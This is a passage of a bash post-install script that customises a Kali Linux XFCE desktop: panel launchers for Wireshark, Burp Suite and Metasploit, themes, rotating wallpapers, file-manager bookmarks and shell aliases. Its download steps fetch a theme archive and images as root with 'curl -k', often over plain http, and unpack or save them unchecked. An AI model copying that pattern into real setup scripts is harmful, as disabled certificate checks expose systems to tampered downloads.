  520. <property name="&lt;Control&gt;F10" type="string" value="workspace_10_key"/>
  521. <property name="&lt;Control&gt;F11" type="string" value="workspace_11_key"/>
  522. <property name="&lt;Control&gt;F12" type="string" value="workspace_12_key"/>
  523. <property name="&lt;Control&gt;F2" type="string" value="workspace_2_key"/>
  524. <property name="&lt;Control&gt;F3" type="string" value="workspace_3_key"/>
  525. <property name="&lt;Control&gt;F4" type="string" value="workspace_4_key"/>
  526. <property name="&lt;Control&gt;F5" type="string" value="workspace_5_key"/>
  527. <property name="&lt;Control&gt;F6" type="string" value="workspace_6_key"/>
  528. <property name="&lt;Control&gt;F7" type="string" value="workspace_7_key"/>
  529. <property name="&lt;Control&gt;F8" type="string" value="workspace_8_key"/>
  530. <property name="&lt;Control&gt;F9" type="string" value="workspace_9_key"/>
  531. <property name="&lt;Shift&gt;&lt;Alt&gt;Page_Down" type="string" value="lower_window_key"/>
  532. <property name="&lt;Shift&gt;&lt;Alt&gt;Page_Up" type="string" value="raise_window_key"/>
  533. <property name="&lt;Super&gt;Tab" type="string" value="switch_window_key"/>
  534. <property name="Down" type="string" value="down_key"/>
  535. <property name="Escape" type="string" value="cancel_key"/>
  536. <property name="Left" type="string" value="left_key"/>
  537. <property name="Right" type="string" value="right_key"/>
  538. <property name="Up" type="string" value="up_key"/>
  539. <property name="override" type="bool" value="true"/>
  540. <property name="&lt;Super&gt;Left" type="string" value="tile_left_key"/>
  541. <property name="&lt;Super&gt;Right" type="string" value="tile_right_key"/>
  542. <property name="&lt;Super&gt;Up" type="string" value="maximize_window_key"/>
  543. </property>
  544. </property>
  545. <property name="providers" type="array">
  546. <value type="string" value="xfwm4"/>
  547. <value type="string" value="commands"/>
  548. </property>
  549. </channel>
  550. EOF
  551. #--- Desktop files
  552. ln -sf /usr/share/applications/exo-terminal-emulator.desktop ~/.config/xfce4/panel/launcher-2/exo-terminal-emulator.desktop
  553. ln -sf /usr/share/applications/kali-wireshark.desktop ~/.config/xfce4/panel/launcher-4/kali-wireshark.desktop
  554. ln -sf /usr/share/applications/firefox-esr.desktop ~/.config/xfce4/panel/launcher-5/firefox-esr.desktop
  555. ln -sf /usr/share/applications/kali-burpsuite.desktop ~/.config/xfce4/panel/launcher-6/kali-burpsuite.desktop
  556. ln -sf /usr/share/applications/kali-msfconsole.desktop ~/.config/xfce4/panel/launcher-7/kali-msfconsole.desktop
  557. ln -sf /usr/share/applications/org.gnome.gedit.desktop ~/.config/xfce4/panel/launcher-8/textedit.desktop
  558. ln -sf /usr/share/applications/xfce4-appfinder.desktop ~/.config/xfce4/panel/launcher-9/xfce4-appfinder.desktop
  559. #--- XFCE settings
  560. _TMP=""
  561. [ "${burpFree}" != "false" ] \
  562. && _TMP="-t int -s 6"
  563. xfconf-query -n -a -c xfce4-panel -p /panels -t int -s 0
  564. xfconf-query --create --channel xfce4-panel --property /panels/panel-0/plugin-ids \
  565. -t int -s 1 -t int -s 2 -t int -s 3 -t int -s 4 -t int -s 5 ${_TMP} -t int -s 7 -t int -s 8 -t int -s 9 \
  566. -t int -s 10 -t int -s 11 -t int -s 13 -t int -s 15 -t int -s 16 -t int -s 17 -t int -s 19 -t int -s 20
  567. xfconf-query -n -c xfce4-panel -p /panels/panel-0/length -t int -s 100
  568. xfconf-query -n -c xfce4-panel -p /panels/panel-0/size -t int -s 30
  569. xfconf-query -n -c xfce4-panel -p /panels/panel-0/position -t string -s "p=6;x=0;y=0"
  570. xfconf-query -n -c xfce4-panel -p /panels/panel-0/position-locked -t bool -s true
  571. xfconf-query -n -c xfce4-panel -p /plugins/plugin-1 -t string -s applicationsmenu # application menu
  572. xfconf-query -n -c xfce4-panel -p /plugins/plugin-2 -t string -s launcher # terminal ID: exo-terminal-emulator
  573. xfconf-query -n -c xfce4-panel -p /plugins/plugin-3 -t string -s places # places
  574. xfconf-query -n -c xfce4-panel -p /plugins/plugin-4 -t string -s launcher # wireshark ID: kali-wireshark
  575. xfconf-query -n -c xfce4-panel -p /plugins/plugin-5 -t string -s launcher # firefox ID: firefox-esr
  576. [ "${burpFree}" != "false" ] \
  577. && xfconf-query -n -c xfce4-panel -p /plugins/plugin-6 -t string -s launcher # burpsuite ID: kali-burpsuite
  578. xfconf-query -n -c xfce4-panel -p /plugins/plugin-7 -t string -s launcher # msf ID: kali-msfconsole
  579. xfconf-query -n -c xfce4-panel -p /plugins/plugin-8 -t string -s launcher # gedit ID: org.gnome.gedit.desktop
  580. xfconf-query -n -c xfce4-panel -p /plugins/plugin-9 -t string -s launcher # search ID: xfce4-appfinder
  581. xfconf-query -n -c xfce4-panel -p /plugins/plugin-10 -t string -s tasklist
  582. xfconf-query -n -c xfce4-panel -p /plugins/plugin-11 -t string -s separator
  583. xfconf-query -n -c xfce4-panel -p /plugins/plugin-13 -t string -s mixer # audio
  584. xfconf-query -n -c xfce4-panel -p /plugins/plugin-15 -t string -s systray
  585. xfconf-query -n -c xfce4-panel -p /plugins/plugin-16 -t string -s actions
  586. xfconf-query -n -c xfce4-panel -p /plugins/plugin-17 -t string -s clock
  587. xfconf-query -n -c xfce4-panel -p /plugins/plugin-19 -t string -s pager
  588. xfconf-query -n -c xfce4-panel -p /plugins/plugin-20 -t string -s showdesktop
  589. #--- application menu
  590. xfconf-query -n -c xfce4-panel -p /plugins/plugin-1/show-tooltips -t bool -s true
  591. xfconf-query -n -c xfce4-panel -p /plugins/plugin-1/show-button-title -t bool -s false
  592. #--- terminal
  593. xfconf-query -n -c xfce4-panel -p /plugins/plugin-2/items -t string -s "exo-terminal-emulator.desktop" -a
  594. #--- places
  595. xfconf-query -n -c xfce4-panel -p /plugins/plugin-3/mount-open-volumes -t bool -s true
  596. #--- wireshark
  597. xfconf-query -n -c xfce4-panel -p /plugins/plugin-4/items -t string -s "kali-wireshark.desktop" -a
  598. #--- firefox
  599. xfconf-query -n -c xfce4-panel -p /plugins/plugin-5/items -t string -s "firefox-esr.desktop" -a
  600. #--- burp
  601. [ "${burpFree}" != "false" ] \
  602. && xfconf-query -n -c xfce4-panel -p /plugins/plugin-6/items -t string -s "kali-burpsuite.desktop" -a
  603. #--- metasploit
  604. xfconf-query -n -c xfce4-panel -p /plugins/plugin-7/items -t string -s "kali-msfconsole.desktop" -a
  605. #--- gedit/atom
  606. xfconf-query -n -c xfce4-panel -p /plugins/plugin-8/items -t string -s "textedit.desktop" -a
  607. #--- search
  608. xfconf-query -n -c xfce4-panel -p /plugins/plugin-9/items -t string -s "xfce4-appfinder.desktop" -a
  609. #--- tasklist (& separator - required for padding)
  610. xfconf-query -n -c xfce4-panel -p /plugins/plugin-10/show-labels -t bool -s true
  611. xfconf-query -n -c xfce4-panel -p /plugins/plugin-10/show-handle -t bool -s false
  612. xfconf-query -n -c xfce4-panel -p /plugins/plugin-11/style -t int -s 0
  613. xfconf-query -n -c xfce4-panel -p /plugins/plugin-11/expand -t bool -s true
  614. #--- systray
  615. xfconf-query -n -c xfce4-panel -p /plugins/plugin-15/show-frame -t bool -s false
  616. #--- actions
  617. xfconf-query -n -c xfce4-panel -p /plugins/plugin-16/appearance -t int -s 1
  618. xfconf-query -n -c xfce4-panel -p /plugins/plugin-16/items \
  619. -t string -s "+logout-dialog" -t string -s "-switch-user" -t string -s "-separator" \
  620. -t string -s "-logout" -t string -s "+lock-screen" -t string -s "+hibernate" -t string -s "+suspend" -t string -s "+restart" -t string -s "+shutdown" -a
  621. #--- clock
  622. xfconf-query -n -c xfce4-panel -p /plugins/plugin-17/show-frame -t bool -s false
  623. xfconf-query -n -c xfce4-panel -p /plugins/plugin-17/mode -t int -s 2
  624. xfconf-query -n -c xfce4-panel -p /plugins/plugin-17/digital-format -t string -s "%R, %Y-%m-%d"
  625. #--- pager / workspace
  626. xfconf-query -n -c xfce4-panel -p /plugins/plugin-19/miniature-view -t bool -s true
  627. xfconf-query -n -c xfce4-panel -p /plugins/plugin-19/rows -t int -s 1
  628. xfconf-query -n -c xfwm4 -p /general/workspace_count -t int -s 3
  629. #--- Theme options
  630. xfconf-query -n -c xsettings -p /Net/ThemeName -s "Kali-X"
  631. xfconf-query -n -c xsettings -p /Net/IconThemeName -s "Vibrancy-Kali"
  632. xfconf-query -n -c xsettings -p /Gtk/MenuImages -t bool -s true
  633. xfconf-query -n -c xfce4-panel -p /plugins/plugin-1/button-icon -t string -s "kali-menu"
  634. #--- Window management
  635. xfconf-query -n -c xfwm4 -p /general/snap_to_border -t bool -s true
  636. xfconf-query -n -c xfwm4 -p /general/snap_to_windows -t bool -s true
  637. xfconf-query -n -c xfwm4 -p /general/wrap_windows -t bool -s false
  638. xfconf-query -n -c xfwm4 -p /general/wrap_workspaces -t bool -s false
  639. xfconf-query -n -c xfwm4 -p /general/click_to_focus -t bool -s false
  640. xfconf-query -n -c xfwm4 -p /general/click_to_focus -t bool -s true
  641. #--- Hide icons
  642. xfconf-query -n -c xfce4-desktop -p /desktop-icons/file-icons/show-filesystem -t bool -s false
  643. xfconf-query -n -c xfce4-desktop -p /desktop-icons/file-icons/show-home -t bool -s false
  644. xfconf-query -n -c xfce4-desktop -p /desktop-icons/file-icons/show-trash -t bool -s false
  645. xfconf-query -n -c xfce4-desktop -p /desktop-icons/file-icons/show-removable -t bool -s false
  646. #--- Start and exit values
  647. xfconf-query -n -c xfce4-session -p /splash/Engine -t string -s ""
  648. xfconf-query -n -c xfce4-session -p /shutdown/LockScreen -t bool -s true
  649. xfconf-query -n -c xfce4-session -p /general/SaveOnExit -t bool -s false
  650. #--- App Finder
  651. xfconf-query -n -c xfce4-appfinder -p /last/pane-position -t int -s 248
  652. xfconf-query -n -c xfce4-appfinder -p /last/window-height -t int -s 742
  653. xfconf-query -n -c xfce4-appfinder -p /last/window-width -t int -s 648
  654. #--- Enable compositing
  655. xfconf-query -n -c xfwm4 -p /general/use_compositing -t bool -s true
  656. xfconf-query -n -c xfwm4 -p /general/frame_opacity -t int -s 85
  657. #--- Remove "Mail Reader" from menu
  658. file=/usr/share/applications/exo-mail-reader.desktop #; [ -e "${file}" ] && cp -n $file{,.bkup}
  659. sed -i 's/^NotShowIn=*/NotShowIn=XFCE;/; s/^OnlyShowIn=XFCE;/OnlyShowIn=/' "${file}"
  660. grep -q "NotShowIn=XFCE" "${file}" \
  661. || echo "NotShowIn=XFCE;" >> "${file}"
  662. #--- XFCE for default applications
  663. mkdir -p ~/.local/share/applications/
  664. file=~/.local/share/applications/mimeapps.list; [ -e "${file}" ] && cp -n $file{,.bkup}
  665. [ ! -e "${file}" ] \
  666. && echo '[Added Associations]' > "${file}"
  667. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  668. #--- Firefox
  669. for VALUE in http https; do
  670. sed -i 's#^x-scheme-handler/'${VALUE}'=.*#x-scheme-handler/'${VALUE}'=exo-web-browser.desktop#' "${file}"
  671. grep -q '^x-scheme-handler/'${VALUE}'=' "${file}" 2>/dev/null \
  672. || echo 'x-scheme-handler/'${VALUE}'=exo-web-browser.desktop' >> "${file}"
  673. done
  674. #--- Thunar
  675. for VALUE in file trash; do
  676. sed -i 's#x-scheme-handler/'${VALUE}'=.*#x-scheme-handler/'${VALUE}'=exo-file-manager.desktop#' "${file}"
  677. grep -q '^x-scheme-handler/'${VALUE}'=' "${file}" 2>/dev/null \
  678. || echo 'x-scheme-handler/'${VALUE}'=exo-file-manager.desktop' >> "${file}"
  679. done
  680. file=~/.config/xfce4/helpers.rc; [ -e "${file}" ] && cp -n $file{,.bkup}
  681. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  682. sed -i 's#^FileManager=.*#FileManager=Thunar#' "${file}" 2>/dev/null
  683. grep -q '^FileManager=Thunar' "${file}" 2>/dev/null \
  684. || echo 'FileManager=Thunar' >> "${file}"
  685. #--- Disable user folders in home folder
  686. file=/etc/xdg/user-dirs.conf; [ -e "${file}" ] && cp -n $file{,.bkup}
  687. sed -i 's/^XDG_/#XDG_/g; s/^#XDG_DESKTOP/XDG_DESKTOP/g;' "${file}"
  688. sed -i 's/^enable=.*/enable=False/' "${file}"
  689. find ~/ -maxdepth 1 -mindepth 1 -type d \
  690. \( -name 'Documents' -o -name 'Music' -o -name 'Pictures' -o -name 'Public' -o -name 'Templates' -o -name 'Videos' \) -empty -delete
  691. apt -y -qq install xdg-user-dirs \
  692. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  693. xdg-user-dirs-update
  694. #--- Remove any old sessions
  695. rm -f ~/.cache/sessions/*
  696. #--- Set XFCE as default desktop manager
  697. update-alternatives --set x-session-manager /usr/bin/xfce4-session #update-alternatives --config x-window-manager #echo "xfce4-session" > ~/.xsession
  698.  
  699.  
  700. ##### Cosmetics (themes & wallpapers)
  701. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) ${GREEN}Cosmetics${RESET}${RESET} ~ Giving it a personal touch"
  702. export DISPLAY=:0.0
  703. #--- axiom / axiomd (May 18 2010) XFCE4 theme ~ http://xfce-look.org/content/show.php/axiom+xfwm?content=90145
  704. mkdir -p ~/.themes/
  705. timeout 300 curl --progress -k -L -f "https://dl.opendesktop.org/api/files/download/id/1461767736/90145-axiom.tar.gz" > /tmp/axiom.tar.gz \
  706. || echo -e ' '${RED}'[!]'${RESET}" Issue downloading axiom.tar.gz" 1>&2 #***!!! hardcoded path!
  707. tar -zxf /tmp/axiom.tar.gz -C ~/.themes/
  708. xfconf-query -n -c xsettings -p /Net/ThemeName -s "axiomd"
  709. xfconf-query -n -c xsettings -p /Net/IconThemeName -s "Vibrancy-Kali-Dark"
  710. #--- Get new desktop wallpaper (All are #***!!! hardcoded paths!)
  711. mkdir -p /usr/share/wallpapers/
  712. echo -n '[1/10]'; timeout 300 curl --progress -k -L -f "https://www.kali.org/images/wallpapers-01/kali-wp-june-2014_1920x1080_A.png" > /usr/share/wallpapers/kali_blue_3d_a.png \
  713. || echo -e ' '${RED}'[!]'${RESET}" Issue downloading kali_blue_3d_a.png" 1>&2
  714. echo -n '[2/10]'; timeout 300 curl --progress -k -L -f "https://www.kali.org/images/wallpapers-01/kali-wp-june-2014_1920x1080_B.png" > /usr/share/wallpapers/kali_blue_3d_b.png \
  715. || echo -e ' '${RED}'[!]'${RESET}" Issue downloading kali_blue_3d_b.png" 1>&2
  716. echo -n '[3/10]'; timeout 300 curl --progress -k -L -f "https://www.kali.org/images/wallpapers-01/kali-wp-june-2014_1920x1080_G.png" > /usr/share/wallpapers/kali_black_honeycomb.png \
  717. || echo -e ' '${RED}'[!]'${RESET}" Issue downloading kali_black_honeycomb.png" 1>&2
  718. echo -n '[4/10]'; timeout 300 curl --progress -k -L -f "https://lh5.googleusercontent.com/-CW1-qRVBiqc/U7ARd2T9LCI/AAAAAAAAAGw/oantfR6owSg/w1920-h1080/vzex.png" > /usr/share/wallpapers/kali_blue_splat.png \
  719. || echo -e ' '${RED}'[!]'${RESET}" Issue downloading kali_blue_splat.png" 1>&2
  720. echo -n '[5/10]'; timeout 300 curl --progress -k -L -f "http://wallpaperstock.net/kali-linux_wallpapers_39530_1920x1080.jpg" > /usr/share/wallpapers/kali-linux_wallpapers_39530.png \
  721. || echo -e ' '${RED}'[!]'${RESET}" Issue downloading kali-linux_wallpapers_39530.png" 1>&2
  722. echo -n '[6/10]'; timeout 300 curl --progress -k -L -f "http://em3rgency.com/wp-content/uploads/2012/12/Kali-Linux-faded-no-Dragon-small-text.png" > /usr/share/wallpapers/kali_black_clean.png \
  723. || echo -e ' '${RED}'[!]'${RESET}" Issue downloading kali_black_clean.png" 1>&2
  724. echo -n '[7/10]'; timeout 300 curl --progress -k -L -f "http://www.hdwallpapers.im/download/kali_linux-wallpaper.jpg" > /usr/share/wallpapers/kali_black_stripes.jpg \
  725. || echo -e ' '${RED}'[!]'${RESET}" Issue downloading kali_black_stripes.jpg" 1>&2
  726. echo -n '[8/10]'; timeout 300 curl --progress -k -L -f "http://fc01.deviantart.net/fs71/f/2011/118/e/3/bt___edb_wallpaper_by_xxdigipxx-d3f4nxv.png" > /usr/share/wallpapers/kali_bt_edb.jpg \
  727. || echo -e ' '${RED}'[!]'${RESET}" Issue downloading kali_bt_edb.jpg" 1>&2
  728. echo -n '[9/10]'; timeout 300 curl --progress -k -L -f "http://pre07.deviantart.net/58d1/th/pre/i/2015/223/4/8/kali_2_0_alternate_wallpaper_by_xxdigipxx-d95800s.png" > /usr/share/wallpapers/kali_2_0_alternate_wallpaper.png \
  729. || echo -e ' '${RED}'[!]'${RESET}" Issue downloading kali_2_0_alternate_wallpaper.png" 1>&2
  730. echo -n '[10/10]'; timeout 300 curl --progress -k -L -f "http://pre01.deviantart.net/4210/th/pre/i/2015/195/3/d/kali_2_0__personal__wp_by_xxdigipxx-d91c8dq.png" > /usr/share/wallpapers/kali_2_0_personal.png \
  731. || echo -e ' '${RED}'[!]'${RESET}" Issue downloading kali_2_0_personal.png" 1>&2
  732. _TMP="$(find /usr/share/wallpapers/ -maxdepth 1 -type f -name 'kali_*' | xargs -n1 file | grep -i 'HTML\|empty' | cut -d ':' -f1)"
  733. for FILE in $(echo ${_TMP}); do rm -f "${FILE}"; done
  734. #--- Kali 1 (Wallpaper)
  735. [ -e "/usr/share/wallpapers/kali_default-1440x900.jpg" ] \
  736. && ln -sf /usr/share/wallpapers/kali/contents/images/1440x900.png /usr/share/wallpapers/kali_default-1440x900.jpg
  737. #--- Kali 2 (Login)
  738. [ -e "/usr/share/gnome-shell/theme/KaliLogin.png" ] \
  739. && cp -f /usr/share/gnome-shell/theme/KaliLogin.png /usr/share/wallpapers/KaliLogin2.0-login.jpg
  740. #--- Kali 2 & Rolling (Wallpaper)
  741. [ -e "/usr/share/images/desktop-base/kali-wallpaper_1920x1080.png" ] \
  742. && ln -sf /usr/share/images/desktop-base/kali-wallpaper_1920x1080.png /usr/share/wallpapers/kali_default2.0-1920x1080.jpg
  743. #--- New wallpaper & add to startup (so its random each login)
  744. file=/usr/local/bin/rand-wallpaper; [ -e "${file}" ] && cp -n $file{,.bkup}
  745. cat <<EOF > "${file}" \
  746. || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  747. #!/bin/bash
  748.  
  749. wallpaper="\$(shuf -n1 -e \$(find /usr/share/wallpapers/ -maxdepth 1 -name 'kali_*'))"
  750.  
  751. /usr/bin/xfconf-query -n -c xfce4-desktop -p /backdrop/screen0/monitor0/image-show -t bool -s true
  752. /usr/bin/xfconf-query -n -c xfce4-desktop -p /backdrop/screen0/monitor0/image-path -t string -s "\${wallpaper}" # XFCE - Desktop wallpaper
  753.  
  754. #[[ $(which gnome-shell) ]] \
  755. # && dconf write /org/gnome/desktop/background/picture-uri "'file://\${wallpaper}'" # GNOME - Desktop wallpaper
  756.  
  757. /usr/bin/dconf write /org/gnome/desktop/screensaver/picture-uri "'file://\${wallpaper}'" # Change lock wallpaper (before swipe) - kali 2 & rolling
  758. #cp -f "\${wallpaper}" /usr/share/gnome-shell/theme/KaliLogin.png # Change login wallpaper (after swipe) - kali 2
  759.  
  760. /usr/bin/xfdesktop --reload 2>/dev/null &
  761. EOF
  762. chmod -f 0500 "${file}"
  763. #--- Run now
  764. bash "${file}"
  765. #--- Add to startup
  766. mkdir -p ~/.config/autostart/
  767. file=~/.config/autostart/wallpaper.desktop; [ -e "${file}" ] && cp -n $file{,.bkup}
  768. cat <<EOF > "${file}" \
  769. || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  770. [Desktop Entry]
  771. Type=Application
  772. Exec=/usr/local/bin/rand-wallpaper
  773. Hidden=false
  774. NoDisplay=false
  775. X-GNOME-Autostart-enabled=true
  776. Name=wallpaper
  777. EOF
  778.  
  779.  
  780. ##### Configure file Note: need to restart xserver for effect
  781. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Configuring ${GREEN}file${RESET} (Nautilus/Thunar) ~ GUI file system navigation"
  782. #--- Settings
  783. mkdir -p ~/.config/gtk-2.0/
  784. file=~/.config/gtk-2.0/gtkfilechooser.ini; [ -e "${file}" ] && cp -n $file{,.bkup}
  785. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  786. sed -i 's/^.*ShowHidden.*/ShowHidden=true/' "${file}" 2>/dev/null \
  787. || cat <<EOF > "${file}"
  788. [Filechooser Settings]
  789. LocationMode=path-bar
  790. ShowHidden=true
  791. ExpandFolders=false
  792. ShowSizeColumn=true
  793. GeometryX=66
  794. GeometryY=39
  795. GeometryWidth=780
  796. GeometryHeight=618
  797. SortColumn=name
  798. SortOrder=ascending
  799. EOF
  800. dconf write /org/gnome/nautilus/preferences/show-hidden-files true
  801. #--- Bookmarks
  802. file=/root/.gtk-bookmarks; [ -e "${file}" ] && cp -n $file{,.bkup}
  803. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  804. grep -q '^file:///root/Downloads ' "${file}" 2>/dev/null \
  805. || echo 'file:///root/Downloads Downloads' >> "${file}"
  806. (dmidecode | grep -iq vmware) \
  807. && (mkdir -p /mnt/hgfs/ 2>/dev/null; grep -q '^file:///mnt/hgfs ' "${file}" 2>/dev/null \
  808. || echo 'file:///mnt/hgfs VMShare' >> "${file}")
  809. grep -q '^file:///tmp ' "${file}" 2>/dev/null \
  810. || echo 'file:///tmp /TMP' >> "${file}"
  811. grep -q '^file:///usr/share ' "${file}" 2>/dev/null \
  812. || echo 'file:///usr/share Kali Tools' >> "${file}"
  813. grep -q '^file:///opt ' "${file}" 2>/dev/null \
  814. || echo 'file:///opt /opt' >> "${file}"
  815. grep -q '^file:///usr/local/src ' "${file}" 2>/dev/null \
  816. || echo 'file:///usr/local/src SRC' >> "${file}"
  817. grep -q '^file:///var/ftp ' "${file}" 2>/dev/null \
  818. || echo 'file:///var/ftp FTP' >> "${file}"
  819. grep -q '^file:///var/samba ' "${file}" 2>/dev/null \
  820. || echo 'file:///var/samba Samba' >> "${file}"
  821. grep -q '^file:///var/tftp ' "${file}" 2>/dev/null \
  822. || echo 'file:///var/tftp TFTP' >> "${file}"
  823. grep -q '^file:///var/www/html ' "${file}" 2>/dev/null \
  824. || echo 'file:///var/www/html WWW' >> "${file}"
  825. #--- Configure file browser - Thunar (need to re-login for effect)
  826. mkdir -p ~/.config/Thunar/
  827. file=~/.config/Thunar/thunarrc; [ -e "${file}" ] && cp -n $file{,.bkup}
  828. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  829. sed -i 's/LastShowHidden=.*/LastShowHidden=TRUE/' "${file}" 2>/dev/null \
  830. || echo -e "[Configuration]\nLastShowHidden=TRUE" > "${file}"
  831.  
  832.  
  833. ##### Configure GNOME terminal Note: need to restart xserver for effect
  834. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Configuring GNOME ${GREEN}terminal${RESET} ~ CLI interface"
  835. gconftool-2 -t bool -s /apps/gnome-terminal/profiles/Default/scrollback_unlimited true
  836. gconftool-2 -t string -s /apps/gnome-terminal/profiles/Default/background_type transparent
  837. gconftool-2 -t string -s /apps/gnome-terminal/profiles/Default/background_darkness 0.85611499999999996
  838.  
  839.  
  840. ##### Configure bash - all users
  841. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Configuring ${GREEN}bash${RESET} ~ CLI shell"
  842. file=/etc/bash.bashrc; [ -e "${file}" ] && cp -n $file{,.bkup} #~/.bashrc
  843. grep -q "cdspell" "${file}" \
  844. || echo "shopt -sq cdspell" >> "${file}" # Spell check 'cd' commands
  845. grep -q "autocd" "${file}" \
  846. || echo "shopt -s autocd" >> "${file}" # So you don't have to 'cd' before a folder
  847. #grep -q "CDPATH" "${file}" \
  848. # || echo "CDPATH=/etc:/usr/share/:/opt" >> "${file}" # Always CD into these folders
  849. grep -q "checkwinsize" "${file}" \
  850. || echo "shopt -sq checkwinsize" >> "${file}" # Wrap lines correctly after resizing
  851. #grep -q "nocaseglob" "${file}" \
  852. # || echo "shopt -sq nocaseglob" >> "${file}" # Case insensitive pathname expansion
  853. grep -q "HISTSIZE" "${file}" \
  854. || echo "HISTSIZE=10000" >> "${file}" # Bash history (memory scroll back)
  855. grep -q "HISTFILESIZE" "${file}" \
  856. || echo "HISTFILESIZE=10000" >> "${file}" # Bash history (file .bash_history)
  857. #--- Apply new configs
  858. source "${file}" || source ~/.zshrc
  859.  
  860.  
  861. ##### Install bash colour - all users
  862. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}bash colour${RESET} ~ colours shell output"
  863. file=/etc/bash.bashrc; [ -e "${file}" ] && cp -n $file{,.bkup} #~/.bashrc
  864. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  865. sed -i 's/.*force_color_prompt=.*/force_color_prompt=yes/' "${file}"
  866. grep -q '^force_color_prompt' "${file}" 2>/dev/null \
  867. || echo 'force_color_prompt=yes' >> "${file}"
  868. sed -i 's#PS1='"'"'.*'"'"'#PS1='"'"'${debian_chroot:+($debian_chroot)}\\[\\033\[01;31m\\]\\u@\\h\\\[\\033\[00m\\]:\\[\\033\[01;34m\\]\\w\\[\\033\[00m\\]\\$ '"'"'#' "${file}"
  869. grep -q "^export LS_OPTIONS='--color=auto'" "${file}" 2>/dev/null \
  870. || echo "export LS_OPTIONS='--color=auto'" >> "${file}"
  871. grep -q '^eval "$(dircolors)"' "${file}" 2>/dev/null \
  872. || echo 'eval "$(dircolors)"' >> "${file}"
  873. grep -q "^alias ls='ls $LS_OPTIONS'" "${file}" 2>/dev/null \
  874. || echo "alias ls='ls $LS_OPTIONS'" >> "${file}"
  875. grep -q "^alias ll='ls $LS_OPTIONS -l'" "${file}" 2>/dev/null \
  876. || echo "alias ll='ls $LS_OPTIONS -l'" >> "${file}"
  877. grep -q "^alias l='ls $LS_OPTIONS -lA'" "${file}" 2>/dev/null \
  878. || echo "alias l='ls $LS_OPTIONS -lA'" >> "${file}"
  879. #--- All other users that are made afterwards
  880. file=/etc/skel/.bashrc #; [ -e "${file}" ] && cp -n $file{,.bkup}
  881. sed -i 's/.*force_color_prompt=.*/force_color_prompt=yes/' "${file}"
  882. #--- Apply new configs
  883. source "${file}" || source ~/.zshrc
  884.  
  885.  
  886. ##### Install grc
  887. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}grc${RESET} ~ colours shell output"
  888. apt -y -qq install grc \
  889. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  890. #--- Setup aliases
  891. file=~/.bash_aliases; [ -e "${file}" ] && cp -n $file{,.bkup} #/etc/bash.bash_aliases
  892. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  893. grep -q '^## grc diff alias' "${file}" 2>/dev/null \
  894. || echo -e "## grc diff alias\nalias diff='$(which grc) $(which diff)'\n" >> "${file}"
  895. grep -q '^## grc dig alias' "${file}" 2>/dev/null \
  896. || echo -e "## grc dig alias\nalias dig='$(which grc) $(which dig)'\n" >> "${file}"
  897. grep -q '^## grc gcc alias' "${file}" 2>/dev/null \
  898. || echo -e "## grc gcc alias\nalias gcc='$(which grc) $(which gcc)'\n" >> "${file}"
  899. grep -q '^## grc ifconfig alias' "${file}" 2>/dev/null \
  900. || echo -e "## grc ifconfig alias\nalias ifconfig='$(which grc) $(which ifconfig)'\n" >> "${file}"
  901. grep -q '^## grc mount alias' "${file}" 2>/dev/null \
  902. || echo -e "## grc mount alias\nalias mount='$(which grc) $(which mount)'\n" >> "${file}"
  903. grep -q '^## grc netstat alias' "${file}" 2>/dev/null \
  904. || echo -e "## grc netstat alias\nalias netstat='$(which grc) $(which netstat)'\n" >> "${file}"
  905. grep -q '^## grc ping alias' "${file}" 2>/dev/null \
  906. || echo -e "## grc ping alias\nalias ping='$(which grc) $(which ping)'\n" >> "${file}"
  907. grep -q '^## grc ps alias' "${file}" 2>/dev/null \
  908. || echo -e "## grc ps alias\nalias ps='$(which grc) $(which ps)'\n" >> "${file}"
  909. grep -q '^## grc tail alias' "${file}" 2>/dev/null \
  910. || echo -e "## grc tail alias\nalias tail='$(which grc) $(which tail)'\n" >> "${file}"
  911. grep -q '^## grc traceroute alias' "${file}" 2>/dev/null \
  912. || echo -e "## grc traceroute alias\nalias traceroute='$(which grc) $(which traceroute)'\n" >> "${file}"
  913. grep -q '^## grc wdiff alias' "${file}" 2>/dev/null \
  914. || echo -e "## grc wdiff alias\nalias wdiff='$(which grc) $(which wdiff)'\n" >> "${file}"
  915. #configure #esperanto #ldap #e #cvs #log #mtr #ls #irclog #mount2 #mount
  916. #--- Apply new aliases
  917. source "${file}" || source ~/.zshrc
  918.  
  919.  
  920. ##### Install bash completion - all users
  921. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}bash completion${RESET} ~ tab complete CLI commands"
  922. apt -y -qq install bash-completion \
  923. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  924. file=/etc/bash.bashrc; [ -e "${file}" ] && cp -n $file{,.bkup} #~/.bashrc
  925. sed -i '/# enable bash completion in/,+7{/enable bash completion/!s/^#//}' "${file}"
  926. #--- Apply new configs
  927. source "${file}" || source ~/.zshrc
  928.  
  929.  
  930. ##### Configure aliases - root user
  931. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Configuring ${GREEN}aliases${RESET} ~ CLI shortcuts"
  932. #--- Enable defaults - root user
